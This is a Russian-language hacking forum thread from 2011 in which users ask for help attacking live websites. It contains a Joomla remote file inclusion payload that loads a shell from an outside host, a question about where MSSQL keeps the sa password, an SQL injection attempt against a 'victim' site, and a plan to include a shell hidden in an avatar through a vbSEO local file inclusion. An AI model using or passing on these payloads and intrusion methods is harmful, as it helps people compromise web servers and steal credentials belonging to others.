12.04.2011, 05:40
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
С нами:
8440113
Репутация:
3
|
|
Всем привет... подскажите, где в mssql хранятся пароли пользователя sa? и какой у них тип... ну и как шифруется?
Спасибо!
|
|
|
12.04.2011, 15:15
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Есть занятная RFI в жумле. Пытаюсь поюзать:
mosConfig_absolute_path=http://****.ru/sh.txt?
|
|
|
|
12.04.2011, 15:47
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Сообщение от Moriarty
mosConfig_
absolute
_path !!!
allow_url_fopen =
OFF
Чего-то не понял на счет первого. allow_url_fopen включенный\выключенный=не работает.
|
|
|
|
12.04.2011, 17:32
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от Ups
Есть занятная RFI в жумле. Пытаюсь поюзать:
mosConfig_absolute_path=http://****.ru/sh.txt?
Закрыта бага значит :facepalm:
|
|
|
|
12.04.2011, 18:44
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Сообщение от Expl0ited
Закрыта бага значит :facepalm:
Дык, старая версия плагина и с багой.
|
|
|
|
12.04.2011, 19:18
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от Ups
Дык, старая версия плагина и с багой.
Ну вот скажи мне, какая разница между версиями плагина?
Джумла устроена так, что сторонние компоненты лотаются довольно просто, добавлением строчки в начало бажного скрипта:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
|
|
|
|
12.04.2011, 21:40
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Сообщение от Expl0ited
лотаются довольно просто, добавлением строчки в начало бажного скрипта:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Удалил строчку. Терь ошибки вылетают.
|
|
|
|
14.04.2011, 16:39
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php
Line: 33
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1
Я так понимаю кроме расрытие путей это ничего не дает?
|
|
|
|
14.04.2011, 16:45
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от Lijzer
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php
Line: 33
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1
Я так понимаю кроме расрытие путей это ничего не дает?
Да, GET-параметро обрабатываеться intval'ом и ничего кроме цифр не пускает. А из-за того, что параметр остается пустой, то SQL-запрос становиться невалидный и вылетает ошибка.
|
|
|
|
14.04.2011, 22:54
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
vbseo lfi. если в аватарку дописать шелл, и проинклюдить подключает как картинку. ava%00.php пишит ошибку, точнее не срабатывает нулл байт, пробывал заменить слешами тоже самое. Выше директории форума не выйти. Какие есть варианты.?*
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
